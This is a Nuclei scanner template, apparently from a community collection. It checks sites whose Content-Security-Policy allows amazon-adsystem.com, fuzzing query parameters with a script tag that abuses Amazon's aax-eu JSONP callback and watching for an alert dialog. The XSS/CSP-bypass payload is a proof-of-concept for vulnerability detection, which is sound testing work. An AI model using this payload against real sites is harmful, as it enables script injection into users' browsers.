id: amazon-aax-eu-csp-bypass

info:
  name: Content-Security-Policy Bypass - Amazon AAX EU
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,amazon-aax-eu

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "amazon-adsystem.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: amazon_aax_eu_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://aax-eu.amazon.com/e/xsp/getAdj?callback=alert(1)-"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "amazon_aax_eu_csp_xss == true"
# digest: 490a0046304402204dbe782c91986a3540fc88f719500f36c30c406095529fada818e0e1c6a43b2702205e3b1017315a618d7b4fc2bdbf38fb9d2c2c225cf8c9e866be095731b2ee67c6:922c64590222798bb761d5b6d8e72950